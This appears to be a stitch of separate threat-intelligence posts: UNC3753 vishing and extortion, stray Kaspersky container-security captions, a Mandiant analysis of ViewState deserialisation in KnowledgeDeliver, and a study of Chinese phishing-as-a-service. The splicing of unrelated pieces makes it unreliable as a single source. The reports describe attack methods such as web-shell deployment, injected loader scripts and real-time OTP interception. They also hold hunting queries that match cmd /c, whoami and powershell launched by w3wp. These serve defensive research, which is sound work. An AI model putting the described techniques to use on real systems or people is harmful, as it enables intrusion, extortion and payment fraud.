The threat cluster delivers unbranded extortion communications via email shortly after successfully stealing data, often within 30 minutes of exiting the target environment. 

These highly aggressive extortion letters give organizations a three-day deadline to respond and initiate ransom negotiations. If the victim organization is unresponsive, the threat actors declare they will call and email target employees and external clients directly to alert them of the data breach. The extortion letters explicitly emphasize that the leak will compromise client trust, invite substantial regulatory fines, and suggest that external clients sue the victim organization for data mishandling. Additionally, as part of a follow-on message the group has threatened to publish all exfiltrated archives on the LEAKEDDATA data leak site (DLS).

Sample Extortion Email

Figure 2: UNC3753 extortion note example

Data Leak Site

Suspected UNC3753 Activity Involving Physical Access

While UNC3753 primarily relies on digital vectors, GTIG assesses that associated threat actors have also attempted direct data theft using physical, in person access. This escalating tactic is corroborated by a recent FBI Cyber FLASH Alert highlighting instances where Silent Ransom Group threat actors leveraged physical office access to exfiltrate corporate data via removable USB media.

According to the FBI advisory, if remote social engineering attempts fail, actors will send an individual to a victim's physical location. The onsite threat actor will claim they need to image the device or create local backups to address a security issue. Once they gain access to the endpoint, they attempt to exfiltrate corporate data directly to an external drive.

Although limited forensic evidence and the absence of a subsequent extortion attempt prevent formal attribution, GTIG assesses that these physical intrusions are likely associated with UNC3753 based on structural, timeline, and targeting overlaps.

Attribution

GTIG attributes this campaign and related social engineering operations to UNC3753 based on infrastructure overlaps, domain registrar tracking, victimology, and target staging directories. UNC3753 (aliases: "Luna Moth," “Chatty Spider,” and "Silent Ransom Group (SRG)") is a financially motivated threat cluster active since at least March 2022. UNC3753 has TTP overlaps with UNC2686, a threat cluster that conducted "Bazarcall" style campaigns dating to early 2021. UNC3753 deployed LOCKBIT.BLACK in 2022, but has since prioritized data theft extortion-only operations typically involving threats to post stolen files to the LEAKEDDATA DLS. The threat cluster relies heavily on Remote Monitoring and Management (RMM) tools, unlike UNC2686 which deployed BAZARLOADER variants as well as TRICKBOT, URSNIF, and SILENTNIGHT. Initially, UNC3753 used subscription-themed billing email lures (such as fake software renewal alerts), typically with PDF attachments containing phone numbers for actor-controlled call centers. Beginning around March 2025, the cluster shifted tactics to pose as internal corporate IT helpdesk staff.

Remediation and Hardening

To mitigate the risk of voice phishing, physical office intrusions, and unauthorized endpoint control, GTIG recommends that organizations implement the following mitigation controls:

User Education

Conduct user awareness training specifically tailored to UNC3753 tactics, techniques, and procedures.

Physical Access and Verification Policies

Implement rigid out-of-band identity verification controls for all external contractors, technical staff, and facilities visitors. Mandate the following physical controls:

• Require visitors to display official credentials and photo identification.

• Require front-desk staff to copy and log all physical visitor IDs before granting access.

• Verify the arrival of all technicians against pre-scheduled work orders directly with the verified parent organization or helpdesk dispatcher.

• Enforce a policy requiring physical technical service personnel to be escorted by a corporate supervisor at all times.

Remote Access Conditional Access Controls

Implement remote access conditional access policies to ensure only corporate owned devices can authenticate to Virtual Desktop Instance (VDI) or Virtual Private Network (VPN) devices. This facilitates increased organizational control and visibility for potential Remote Monitoring and Management usage. 

Enforce Strict RMM and Screen-Sharing Software Controls

Audit corporate environments to block the installation and execution of unauthorized remote monitoring, management, and support utilities. Enforce application control policies (e.g. Windows Defender Application Control or third-party endpoint protection tools) to restrict execution of non-approved binaries. Organizations may also consider restricting interactive screen-control features within authorized virtual meeting platforms like Zoom and Teams. 

Endpoint Removable Media Hardening

To neutralize physical exfiltration vectors, disable read/write capabilities for all external USB mass storage devices. Enforce Group Policy Objects (GPOs) or MDM configurations to restrict:

• USB storage device installation.

• Removable media access.

• Optical media writes on all corporate endpoints and BYOD systems utilizing VDI entry.

Network Monitoring and Egress Control

Monitor firewall logs, network flows, and endpoint execution logs for indicative exfiltration and staging actions. Specifically:

• Block or alert on outbound connections to unauthorized file-sharing APIs and emails.

• Ensure full session logging with bytes transferred is enabled within Firewall log configurations.

• Monitor SSH traffic (Port 22) from internal VDIs and endpoints for high-volume WinSCP and Rclone transfers.

Application Log and Access Auditing

Review authentication and access metrics for critical document stores to identify bulk harvesting profiles.

• Configure real-time alerts in iManage, SharePoint, and corporate email directories for rapid file searches, search-term spikes, and mass file downloads.

• Implement multi-factor authentication (MFA) on business critical data repository applications, such as iManage. 

• Implement strict BYOD authentication controls, requiring MFA step-up queries when accessing VDI nodes.

Outlook and Implications

The targeting of US legal and professional services organizations by financially motivated actors is a persistent industry risk. Legal services firms represent high-value targets for extortion actors. They maintain concentrated repositories of extremely sensitive client transaction files, merger and acquisition plans, client trade secrets, and corporate regulatory reports. Threat groups recognize that legal entities are subject to heavy reputational and regulatory exposure and may be highly motivated to resolve extortion situations quietly to protect their professional standing.

Threat actors recognize that targeting the human element—specifically using voice-guided social engineering—enables them to easily bypass robust technical perimeters, web security gateways, and MFA configurations. 

Finally, the integration of in-person, physical intrusions represents an escalation in threat capability. While log-based defenses and endpoint telemetry have matured, physical corporate boundaries are frequently protected only by administrative procedures. Organizations must transition to a unified security posture that treats physical facility access control and endpoint-based hardware policies as equal components of their defensive perimeter.

Data Leak Site (DLS)

UNC3753 utilizes the following web platform to disclose the identities of victims and their compromised data.

• hxxps[:]//business-data-leaks[.]com

Phishing Domains

GTIG identified infrastructure registrations by suspected UNC3753 actors utilizing specific naming conventions, assessed as supporting their ongoing social engineering and vishing activities.

• <organization>-itdesk[.]com

• <organization>-it[.]com

• <organization>-helpdesk[.]com

Indicators of Compromise (IOCs) 

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Execute MSI Files Downloaded via Curl

• Suspected Rclone Exfiltration

MITRE ATT&CK

Image analysis results in Kaspersky Container Security

TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard

A record number of vulnerabilities in a single image

Detecting potentially malicious software using one of the images as an example

Insecure image configurations detected by KCS based on rules

Example of container analysis using KIRA

Written by: Takahiro Sugiyama, Peter Revelant, Mathew Potaczek

Introduction

In late 2025, Mandiant responded to a security incident involving a compromised web server running KnowledgeDeliver. KnowledgeDeliver is a Learning Management System (LMS) developed by Digital Knowledge commonly used in Japan. Mandiant identified a critical vulnerability that allowed unauthenticated Remote Code Execution (RCE). An unknown threat actor leveraged this access to inject malicious code into the LMS platform, with the goal of infecting users visiting the site.

This vulnerability stems from the use of identical pre-shared ASP.NET machine keys across multiple customer deployments. The vulnerability was initially exploited as a zero-day, now tracked as CVE-2026-5426.

The Vulnerability

KnowledgeDeliver installations deployed before Feb. 24, 2026 relied on a standardized web.config file provided by the vendor. This configuration file contained hardcoded machineKey values used by the ASP.NET framework to encrypt and sign data, including ViewState payloads.

Because these keys were identical across independent customer environments, a threat actor who obtained the keys from one deployment could compromise any other internet-facing KnowledgeDeliver instance.

The following is an example of the relevant configuration line found in the web.config file:

<machineKey decryptionKey="<REDACTED>" validationKey="<REDACTED>" />

The ASP.NET ViewState persists page state across postbacks. When the machineKey is known, a threat actor can craft a malicious ViewState payload. By sending this payload in an HTTP request (via the __VIEWSTATE parameter), the threat actor can make the server deserialize it.

This technique follows the pattern of the ViewState Deserialization Zero-Day Vulnerability affecting Sitecore (previously reported by Mandiant), and Code injection attacks using publicly disclosed ASP.NET machine keys reported by Microsoft. This highlights how it is critical to keep the machine key unique and secure.

Post-Exploitation Activity

Once access was established, the threat actors focused on maintaining their presence and expanding the impact of the compromise.

BLUEBEAM Web Shell Deployment

The threat actor deployed a .NET-based in-memory web shell called BLUEBEAM (also known as Godzilla). The use of BLUEBEAM is consistent with the Microsoft reporting. This malware operates entirely in memory within the IIS worker process (w3wp.exe), making it difficult to detect through traditional file-based scanning. It allows threat actors to execute further commands and payloads by sending encrypted data via HTTP POST request bodies.

File Tampering

The threat actor was observed executing commands to escalate their control over the web server's file system:

1. Permission Modification: The threat actor used icacls to grant "Everyone" full access to the web application directory.

2. JavaScript Tampering: The threat actor modified an application JavaScript file, adding code to perform the following:

• Display a fake security alert, prompting users to install a "security authentication plugin".

• Silently load a remote malicious script hosted on a threat actor-controlled domain.

Cobalt Strike Infection

The remote script convinced users to download a fake installer, which led to workstations being infected with a Cobalt Strike BEACON backdoor. The payload was encrypted using a key that used the name of the compromised organization, which indicated that the threat actor prepared this payload specifically for the targeted organization.

How to Hunt for This Activity

Organizations should monitor for the following indicators to identify potential ViewState exploitation and post-exploitation activity.

1. Application Event Logs (Event ID 1316)

Monitor the Windows Application log for Event ID 1316 from the source ASP.NET 4.0.30319.0 (or similar).

• Failed Attempt (Integrity Failure): Event code: 4009-++-Viewstate verification failed. Reason: The viewstate supplied failed integrity check. May indicate an attack attempt with an incorrect key.

• Successful Execution (Invalid ViewState): Event code: 4009-++-Viewstate verification failed. Reason: Viewstate was invalid. Confirms integrity checks were passed. Deserialization of the payload was attempted and may have succeeded. The payload may or may not have been executed. 

Mandiant decrypted payload strings recorded in the event log messages with the server’s machine keys and recovered a payload related to a BLUEBEAM web shell.

2. Suspicious Process Activity

Monitor for unusual child processes spawned by w3wp.exe. Commands observed include:

• cmd.exe /c ...

• whoami

• powershell.exe

3. File Integrity Monitoring

Monitor for unauthorized changes to .js, .aspx, or .config files within the web root. Specifically, look for the addition of remote script loaders or unusual logic in commonly used libraries.

4. Anomalous User-Agent Strings

Mandiant identified User-Agent strings consisting of two distinct identifiers concatenated together, which were consistent with ones reported in ViewState Deserialization Zero-Day vulnerability. Monitor for web request logs for such anomalous User-Agent strings. The following are examples of identified User-Agent strings:

• Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

• Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

• Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

Remediation and Mitigation

• Rotate Machine Keys: Immediately generate a unique, cryptographically strong machine key for each KnowledgeDeliver instance. This is the only way to invalidate the shared secret.

• Restrict Access: If possible, limit access to the LMS to known organizational IP address ranges.

• Investigation: Hunt for this activity, and conduct a thorough investigation if any signs of exploitation are identified.

Outlook and Implications

The exploitation of KnowledgeDeliver highlights the severe risks of using shared secrets in deployment templates. A single leaked key can compromise an entire ecosystem of installations. By implementing unique secrets and robust endpoint monitoring, organizations can defend against these deserialization attacks.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a free GTI Collection for registered users.

Google Security Operations (SecOps) 

The following SecOps searches can be used to hunt for this activity.

(metadata.log_type = "WINEVTLOG" or metadata.log_type = "WINEVTLOG_XML") 
metadata.product_event_type = "1316"
additional.fields["Message"] = /Event code: 4009\b/ nocase

(metadata.event_type = "PROCESS_LAUNCH" or metadata.event_type = "PROCESS_OPEN") AND
principal.process.command_line = /w3wp.exe/ nocase AND
target.process.command_line = /cmd.+ \/c |whoami|powershell/ nocase

SecOps customers have access to the following rules and more under the Mandiant Hunting Rules, Mandiant Frontline Threats, Mandiant Intel Emerging Threats rule packs:

• ASP.NET ViewState Deserialization Attempt

• W3wp Launching Cmd With Recon Commands

• W3wp Launching Encoded Powershell

• W3wp Launching Icacls

• Web Server Process Launching Whoami

• IIS ViewState Exploitation Success

• IIS ViewState Exploitation Followed by Web Root File Tampering

• Possible Windows Exchange Server Spawning Shell

Acknowledgements

Mandiant would like to extend our thanks to the Digital Knowledge team for their collaboration regarding this disclosure.

While Russian-speaking threat actors have historically dominated the phishing-as-a-service (PhaaS) landscape, a rival ecosystem is rapidly growing within the Chinese-language underground. Google Threat Intelligence Group (GTIG) analyzed a dozen current PhaaS offerings in the Chinese underground, all of them mature services and many likely tied intricately to the broader criminal ecosystem in that region. These services not only lower the barrier to entry for Chinese cyber criminals, but reveal broader patterns on the evolution of social engineering and credential theft. Late last year, Google took legal action against one PhaaS provider and has worked since then to endorse legislation and enact technical safeguards against these types of scams.

Within this ecosystem, GTIG has observed a fundamental move away from static password harvesting towards real-time interception and tokenization. By utilizing live administration panels, attackers can interact with victims in real-time to capture one-time passcodes (OTPs), allowing them to bypass multifactor authentication (MFA) instantly.

Instead of simply gaining account access, these operations focus on exploiting digital wallet provisioning to transform stolen payment data into tokenized assets within ecosystems. This shift—combined with the use of encrypted delivery channels like RCS and iMessage to bypass traditional carrier security filters on SMS messages—represents an emerging development where the goal is no longer just a login, but securing direct, unauthorized control over a victim's financial accounts.

The Chinese-Language PhaaS Ecosystem 

The Chinese-language PhaaS ecosystem is not merely a regional mirror of Russian operations – it is a distinct market shaped by a unique professional culture. Nearly all the legitimate organizations mimicked by these phishing services are non-Chinese entities, suggesting they rarely target China.

• Public impact: Unlike the major Russia-based PhaaS offerings that are typically used to target customers of large organizations, phishing services advertised in Chinese-language communities are often designed to target the general public more opportunistically.

• Open Operations: In contrast to their Russian-speaking counterparts, providers of Chinese-language phishing services often operate openly with less regard for operational security. For instance, the threat actors running these services regularly post photos of their luxury lifestyles on Telegram.

• Focus on Telegram: Advertisements for the phishing services are regularly posted to Telegram rather than channels such as WeChat (Weixin) or Tencent QQ, which are regionally more popular. This approach is consistent with the broader Chinese-language cyber crime ecosystem.

• Extensive offering: While PhaaS is at the core of these operations, these developers also typically offer numerous ancillary services, forming a complete, mature, and extensive offering. These include the sale of personally identifiable information (PII), domain name registration and virtual private server (VPS) hosting services, server rentals, money laundering services, eavesdropping devices (International Mobile Subscriber Identity [IMSI] catchers), and message sending services (spamming assistance). Some platform vendors are also involved in trading stolen payment card information. 

Notable Chinese-Language PhaaS TTPs

1. Delivery via RCS and iMessage: These attacks begin by exploiting trust in modern communication. Rather than traditional SMS, these Chinese-language PhaaS operators heavily leverage Rich Communication Services (RCS) and Apple’s iMessage. Protocols that use end-to-end encryption make it difficult for server-side delivery infrastructure to inspect or filter malicious links, which makes on-device protections critical. Messages also contain more extensive engagement features (including read receipts, typing indicators, group chat functionalities, as well as the ability to send high-resolution images, videos, and larger files). This makes them ideal for social engineering operations, as lures appear remarkably legitimate to the average user. 
2. Real-time Interception: When a victim clicks a malicious link and enters their credentials, the data is displayed instantly on an administrative panel. This allows an adversary to interact with the victim in real-time. As the victim is prompted for an OTP, an attacker simultaneously triggers that same OTP request on their own device. The victim enters the code into the phishing page, and the attacker captures it seconds before it expires.
3. Leveraging Digital Wallets for Monetization: A defining characteristic of these operations is their exploitation of digital wallet provisioning to monetize stolen payment details. Attackers use captured credentials and OTPs to provision the victim’s card into a digital wallet on an attacker-controlled device. Once tokenized, the card can be used for high-value transactions, contactless payments, and ATM withdrawals. While payment card data theft is the focus, this ecosystem also develops brokerage-focused templates, which can be used to facilitate traditional account takeovers (ATO) for wire fraud and stock manipulation.
4. AI-Based Automation: Multiple Chinese-language PhaaS operators have adopted AI for their operations to enable scale and stealth. As one example, the Darcula PhaaS platform, which we link to UNC5814, has moved away from static templates, instead utilizing AI-powered page generators and browser automation tools like Puppeteer. This enables users to clone legitimate websites by replicating their HTML, CSS, JavaScript, and visual elements through providing the target website's URL. As each phishing page is unique as opposed to relying on static templates, signature-based detection methods are rendered increasingly ineffective. 

Localization-as-a-Service

The Chinese-speaking PhaaS ecosystem has shifted towards a highly automated model capable of generating localized content for diverse international markets. Unlike traditional phishing kits that have historically relied on static and poorly translated templates, these operators provide the infrastructure for cultural fluency at scale. By offering everything from AI-powered page generators to region-specific delivery assistance, they enable low-skilled affiliates to launch high-fidelity campaigns. 

YY Lai Yu (YY来鱼): A Case Study in Localization

YY Lai Yu (YY来鱼), first advertised in August 2024, is one example of a PhaaS offering that provides a local digital ecosystem. While the platform supports phishing across 119 countries, its largest focus has been on Japan. Managed by a core team including "YY Lai Yu," "Jeffrey Carrie," and "Very casual," the service provides Chinese-speaking threat actors with the localized infrastructure necessary to effectively target the Japanese consumer ecosystem.

Since November 2025, YY Lai Yu has offered more than 400 phishing templates to its customers, moving beyond generic banking lures to also target the digital lifestyle of Japanese residents. These templates included various Japanese language and Japanese brands, including for Amazon, Apple, DMM, Epos Card, JA Bank, JCB Card, JR (Rail), Matsui Securities, Mercari, Monex, Nintendo, Nomura Securities, Orico Card, PayPay, Rakuten Securities, and Sagawa Express. However, instead of merely providing fake account pages, the threat actors tapped heavily into local consumer habits by developing "points" (积分) and rewards redemption lures, pressuring victims to redeem supposedly expiring loyalty points for cash or goods. Demonstrating a deep awareness of the local economic climate, the operators also exploited cost-of-living concerns by crafting lures around the Japan Winter Electricity Subsidy. 

By deploying distinct domains that impersonate everything from local transit and payment apps to major e-commerce and gaming platforms, YY Lai Yu provides an example of how comprehensive these PhaaS offerings have become. To protect this highly localized infrastructure, the phishing sites featured a unique human verification anti-bot screen that appeared prior to the actual phishing page. By requiring a manual click to proceed, this mechanism successfully hindered automated analysis by security vendors, adding a layer of stealth to the localized campaign.

Like most other services, YY Lai Yu leverages RCS and iMessage to send encrypted messages in bulk and supports synchronized interactions with victims to harvest payment card and OTP data. The administration panel allows users to query their phished data and blocklist or highlight certain types of cards according to their BIN number, blocklist individual countries or territories, and register and manage new domains for their phishing pages using Alibaba's domain registration service. Additionally, panel administrators can create new operator users and assign them permissions. The service also offers domains that can be purchased within the administration panel. 

While YY Lai Yu showcases a focus on countries like Japan, the broader Chinese PhaaS ecosystem casts a wide global net. GTIG has observed other prominent services routinely deploying automated infrastructure to compromise users across the Americas, Europe, Australia, and the Middle East. 

Outlook 

The continued popularity of these services demonstrates a sustained interest in payment card fraud from China-based threat actors. The multitude of sophisticated PhaaS platforms available for purchase and the threat actors' focus on the exploitation of digital wallet tokenization and MFA bypass demonstrates that the China-based criminal ecosystem continues to evolve, enabling threat actors with limited technical skills to conduct phishing operations. 

Standard phishing security measures (such as user awareness training) remain an important first line of defense. However, the proliferation of the Chinese-language PhaaS ecosystem underscores a need for technical security controls that go beyond user education. For example, transitioning to FIDO2/WebAuthn infrastructure represents an effective countermeasure against the real-time interception of account authentication OTPs. While security keys cannot prevent a user from entering payment details into a novel phishing site directly, increasing the difficulty of leveraging stolen credentials still radically shrinks an adversary's opportunities. These enterprise authentication upgrades should be paired with risk-based verification and device fingerprinting by issuing banks during the digital wallet provisioning process.

As these operators continue to refine their tooling, the goal for defenders must shift from simply "detecting" a phish to making the victim's credentials technically impossible to weaponize. Ongoing and frequent updates to these platforms indicate that Chinese-speaking PhaaS operators are continuing to refine their tooling to maximize global impact.